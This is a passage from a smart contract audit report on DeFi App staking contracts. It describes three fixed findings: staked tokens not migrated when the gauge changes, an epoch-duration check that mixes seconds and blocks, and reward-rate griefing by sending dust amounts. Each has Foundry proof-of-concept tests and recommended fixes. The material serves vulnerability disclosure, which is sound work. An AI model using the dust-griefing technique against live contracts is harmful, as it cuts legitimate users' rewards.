        _gauge.isPool() && _gauge.stakingToken() == _getMFDBaseStorage().stakeToken,
        DefiAppStaker_invalidGauge()
    );

    DefiAppStakerStorage storage $ = _getDefiAppStakerStorage();
    IGauge lastGauge = $.gauge;
    IGauge newGauge = IGauge(_gauge);

    address prevRewardToken = address(lastGauge) != address(0) ? lastGauge.rewardToken() : address(0);
    address newRewardToken = newGauge.rewardToken();
    MultiFeeDistributionStorage storage $m = _getMFDBaseStorage();

    if (prevRewardToken == address(0)) {
        _addReward($m, newRewardToken);
    } else if (prevRewardToken != address(0) && prevRewardToken != newRewardToken) {
        Reward memory prevRewardData = $m.rewardData[prevRewardToken];
        uint256 prevRewardBal = IERC20(prevRewardToken).balanceOf(address(this));
        uint256 untracked = prevRewardBal > prevRewardData.balance ? prevRewardBal - prevRewardData.balance : 0;

        _recoverERC20(prevRewardToken, untracked);
        _removeReward($m, prevRewardToken);
        _addReward($m, newRewardToken);
    }

    // @audit The protocol does not properly migrate staked tokens to the new gauge.
    $.gauge = newGauge;
    emit SetGauge(address(_gauge));
}
```

Since this function does not verify or transfer any existing staked tokens from the old gauge to the new one, users' locked stakes remain in the old gauge, leading to an inefficient and manual process for the protocol.

Impact:

- User Perspective:
  - Users cannot immediately withdraw their staked tokens after a gauge change. They must wait for their lock-up period to expire and manually withdraw from the old gauge.
  - Despite this inconvenience, users do not lose their funds and continue to receive rewards as expected.
- Admin Perspective:
  - The administrator must manually manage the migration of staked tokens between gauges.
  - If there are a large number of users (e.g., 100+ users with different lock periods), handling their stakes becomes operationally challenging.
  - The admin may need to switch between old and new gauges multiple times to facilitate user withdrawals.

This issue introduces unnecessary operational complexity for the protocol, requiring frequent manual intervention by the administrator. Without automatic token migration, the protocol becomes harder to manage as the number of stakers grows.

Proof of Concept:

1. Initially, The protocol use old gauge for a long time and makes:
   - 700 users stake with a 3-month lock period.
   - 200 users stake with a 6-month lock period.
   - 100 users stake with a 12-month lock period.
2. Afterwards, the protocol decides to update the old gauge for a new gauge, leaving the staked tokens in the old gauge.

3. New users begin staking in the new gauge with similar lock-up periods, let's say 1000++ users as well.
4. The administrator realizes that staked tokens remain in the old gauge.
5. To facilitate withdrawals, the administrator must repeatedly switch between the old and new gauges, making the process inefficient with at least ~1000 operations.
6. Currently the protocol with new gauge, because of users with a 3-month lock eligible to withdraw, the protocol must switch new gauge to old gauge. After withdraw, the protocol must switch back old gauge become new gauge again.
7. This will be done continuously until the token stake in the old gauge runs out.

The scenario will be valid because the admin is not aware that there are stake tokens in the old gauge when the gauge is replaced (since there is no check or revert balance on the old gauge).

The following test demonstrates how cumbersome the process is when the protocol changes the gauge without migrating staked tokens:

```
function test_gaugeCanChangeEvenProtocolHasDeposit() external {
    // non-null time
    uint256 timestamp = 1_728_370_800;
    vm.warp(timestamp);

    // a user stakes his token
    uint256 user1Amount = 80 ether;
    stake_in_mfd(User1.addr, user1Amount, ONE_MONTH_TYPE_INDEX);

    // admin decides to change gauge
    MockToken homeToken2 = new MockToken("Home Token2", "HT2");
    MockGauge gauge2 = MockGauge(create_gauge(Admin.addr, address(homeToken2), address(weth9),
    ↪  address(poolFactory)));

    vm.startPrank(Admin.addr);
    staker.setGauge(gauge2);
    vm.stopPrank();

    console.log("The protocol balance in old gauge", gauge.balanceOf(address(staker)));

    // admin decides to change back to old gauge
    vm.startPrank(Admin.addr);
    staker.setGauge(gauge);
    vm.stopPrank();

    // User1 can't withdraw immediately, must wait the lock time
    vm.prank(User1.addr);
    vm.expectRevert();
    staker.withdrawExpiredLocks();
    console.log("User1 can't receive tokens back immediately", pool.balanceOf(User1.addr));

    // after lock time, user withdraw his tokens
    vm.warp(timestamp + 31 days);
    vm.prank(User1.addr);
    staker.withdrawExpiredLocks();

    console.log("User1 get tokens back a month later", pool.balanceOf(User1.addr));
}
```

```
Ran 1 test for test/POC_Test.t.sol:POC_test
[PASS] test_gaugeCanChangeEvenProtocolHasDeposit() (gas: 3019959)
Logs:
  Protocol balance in old gauge 80000000000000000000
  User1 can't receive tokens back immediately 0
  User1 gets tokens back a month later 80000000000000000000

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 29.75ms (4.21ms CPU time)
```

Recommendation: Handle token transfer from old gauge to new gauge.

```
  function setGauge(IGauge _gauge) external onlyRole(DEFAULT_ADMIN_ROLE) {
      require(address(_gauge) != address(0), AddressZero());
      require(
          _gauge.isPool() && _gauge.stakingToken() == _getMFDBaseStorage().stakeToken,
          DefiAppStaker_invalidGauge()
      );

      DefiAppStakerStorage storage $ = _getDefiAppStakerStorage();
      IGauge lastGauge = $.gauge;
      IGauge newGauge = IGauge(_gauge);

      address prevRewardToken = address(lastGauge) != address(0) ? lastGauge.rewardToken() : address(0);
      address newRewardToken = newGauge.rewardToken();
      MultiFeeDistributionStorage storage $m = _getMFDBaseStorage();

      if (prevRewardToken == address(0)) {
          _addReward($m, newRewardToken);
      } else if (prevRewardToken != address(0) && prevRewardToken != newRewardToken) {
          Reward memory prevRewardData = $m.rewardData[prevRewardToken];
          uint256 prevRewardBal = IERC20(prevRewardToken).balanceOf(address(this));
          uint256 untracked = prevRewardBal > prevRewardData.balance ? prevRewardBal - prevRewardData.balance :
          ↪  0;

          _recoverERC20(prevRewardToken, untracked);
          _removeReward($m, prevRewardToken);
          _addReward($m, newRewardToken);
      }

+     // Pull any rewards from the gauge
+     if (lastGauge.earned(address(this)) > 0) {
+        lastGauge.getReward(address(this));
+     }
+     // check stake tokens
+     uint256 stakeTokenAmount = lastGauge.balanceOf(address(this));
+     if(stakeTokenAmount > 0){
+         // Unstake from Gauge
+         lastGauge.withdraw(stakeTokenAmount);
+         // deposit to new gauge
+         newGauge.deposit(stakeTokenAmount, address(this));
+     }

      $.gauge = newGauge;
      emit SetGauge(address(_gauge));
  }
```

DeFi App: Fixed in commit `9e5ac819`.

3.2.5 Incorrect Epoch Duration Validation

Submitted by JesJupyter, also found by j0xbear, LSHFGJ, JesJupyter, merulz99, jessica and ..

Severity: Medium Risk

Context: DefiAppHomeCenter.sol#L261, DefiAppHomeCenter.sol#L324, DefiAppHomeCenter.sol#L350

Summary: The contract contains an incorrect validation in `_setDefaultEpochDuration` where epoch duration is compared directly with `NEXT_EPOCH_BLOCKS_PREFACE` without accounting for block cadence conversion, leading to potential epoch initialization failures.

Finding Description: In the `DefiAppHomeCenter` contract, there's a mismatch between how epoch duration is validated and how it's actually used:

In `_setDefaultEpochDuration`, the validation is (directly comparing timestamp against block numbers):

```
require(_epochDuration > NEXT_EPOCH_BLOCKS_PREFACE, DefiAppHomeCenter_invalidEpochDuration());
```

However, when this duration is used in `initializeNextEpoch`, it's converted to blocks using `BLOCK_CADENCE`:

```
block.number + ($.defaultEpochDuration / BLOCK_CADENCE)
```

This converted value must then satisfy:

```
require(endBlock > block.number + NEXT_EPOCH_BLOCKS_PREFACE, DefiAppHomeCenter_invalidEndBlock());
```

The issue is that `_epochDuration` is in seconds, while `NEXT_EPOCH_BLOCKS_PREFACE`is in blocks. The validation should compare equivalent units by either converting `NEXT_EPOCH_BLOCKS_PREFACE` to seconds or converting `_epochDuration` to blocks.

Recommendation: Update the validation logic in `_setDefaultEpochDuration`to compare equivalent units.

DeFi App: Fixed in commit `059fd13b`.

3.2.6 Reward Rate Manipulation via Dust Attacks

Submitted by aksoy, also found by 0xrafaelnicolau, pineneedles, LSHFGJ and TamayoNft

Severity: Medium Risk

Context: MFDLogic.sol#L118

Summary: Malicious users can grief the protocol by sending dust amounts of reward tokens to manipulate rewardPerSecond, artificially extending reward vesting periods for all users.

Finding Description: Any user can call claimRewards() which triggers trackUnseenReward(). trackUnseenReward() detects any token balance changes, including direct transfers. The _handleUnseenReward() function recalculates rewards using formula:

```
r.rewardPerSecond = ((_rewardAmt + leftover) * PRECISION) / $.rewardStreamTime
```

Attackers can send dust of reward token to contract, making `_rewardAmt = 1 wei + leftover` .This forces reward distribution over full rewardStreamTime, drastically reducing per-second rewards:

```
function claimRewards(address[] memory _rewardTokens) public whenNotPaused {
    MultiFeeDistributionStorage storage $ = _getMFDBaseStorage();
    MFDLogic.updateReward($, msg.sender);
    MFDLogic.claimRewardsLogic($, msg.sender, _rewardTokens);
}

function trackUnseenReward(MultiFeeDistributionStorage storage $, address _token) public {

    if (periodFinish == 0) revert MFDLogic_invalidPeriod();
    if (periodFinish < block.timestamp + $.rewardStreamTime - $.rewardsLookback) {
        uint256 unseen = IERC20(_token).balanceOf(address(this)) - r.balance;
        if (unseen > 0) {
            _handleUnseenReward($, _token, unseen);
        }
    }
}


function _handleUnseenReward(MultiFeeDistributionStorage storage $, address _rewardToken, uint256 _rewardAmt)
    private
{


    // Update reward per second according to the new reward amount
    Reward storage r = $.rewardData[_rewardToken];
    if (block.timestamp >= r.periodFinish) {
        r.rewardPerSecond = (_rewardAmt * PRECISION) / $.rewardStreamTime;
    } else {
        uint256 remaining = r.periodFinish - block.timestamp;
        uint256 leftover = (remaining * r.rewardPerSecond) / PRECISION;
        r.rewardPerSecond = ((_rewardAmt + leftover) * PRECISION) / $.rewardStreamTime;
    }

    r.lastUpdateTime = block.timestamp;
    r.periodFinish = block.timestamp + $.rewardStreamTime;
    r.balance += _rewardAmt;
}
```

Impact Explanation: Enables permanent griefing attacks that lock legitimate rewards for longer periods. This would be unfair for users who deposited to get rewards based on current rate.

Likelihood Explanation: Low gas costs make repeated attacks feasible.

Proof of Concept:

```
function test_rewardRateDecrease() public {
    //@audit  StakingFixture.t.sol
    MockToken rewardToken = deploy_mock_tocken("Test", "reward");

    //@audit remove invalid reward token
    vm.startPrank(Admin.addr);
    staker.removeReward(staker.getRewardTokens()[1]);
    vm.stopPrank();

    vm.startPrank(Admin.addr);
    staker.addReward(address(rewardToken));
    uint256 amount = 100 * 1 ether;
    rewardToken.mint(Admin.addr, amount);
    rewardToken.approve(address(staker), amount);
    staker.distributeAndTrackReward(address(rewardToken), amount);
    vm.stopPrank();

    vm.startPrank(Admin.addr);
    pool.approve(address(staker), 1 ether);
    staker.stake(1 ether, User1.addr, 1);
    vm.stopPrank();

    assertEq(staker.getRewardData(address(rewardToken)).rewardPerSecond,165343915343915343915343915343915);

    //@audit move time for trackUnseenReward update
    vm.warp(block.timestamp + 3 days);

    //@audit send dust amount
    rewardToken.mint(address(staker), 10);

    address[] memory claimTokens = new address[](1);
    claimTokens[0] = address(rewardToken);

    vm.startPrank(Admin.addr);
    staker.claimRewards(claimTokens);
    vm.stopPrank();
    assertEq(staker.getRewardData(address(rewardToken)).rewardPerSecond,94482237339380196539351851851851);

    //@audit move time for trackUnseenReward update
    vm.warp(block.timestamp + 3 days);
    //@audit send dust amount
    rewardToken.mint(address(staker), 10);

    vm.startPrank(Admin.addr);
    staker.claimRewards(claimTokens);
    vm.stopPrank();
    assertEq(staker.getRewardData(address(rewardToken)).rewardPerSecond,53989849908217255180224867724867);

    //@audit move time for trackUnseenReward update
    vm.warp(block.timestamp + 3 days);
    //@audit send dust amount
    rewardToken.mint(address(staker), 10);

    vm.startPrank(Admin.addr);
    staker.claimRewards(claimTokens);
    vm.stopPrank();
    assertEq(staker.getRewardData(address(rewardToken)).rewardPerSecond,30851342804695574404761904761904);
    //@audit  the rewardPerSecond was decreased drastically and the vest is now much longer.
}
```

```
// Sending 10 wei repeatedly reduces rewardPerSecond :
165343915343915343915343 -> 94482237339380196539351 -> 53989849908217255180224 -> 30851342804695574404761.
```

Recommendation:

1. Define a min amount threshold for each reward token.
2. Or don't allow claim rewards to call `trackUnseenReward()`.

DeFi App: Fixed in commit `e2b3f361`.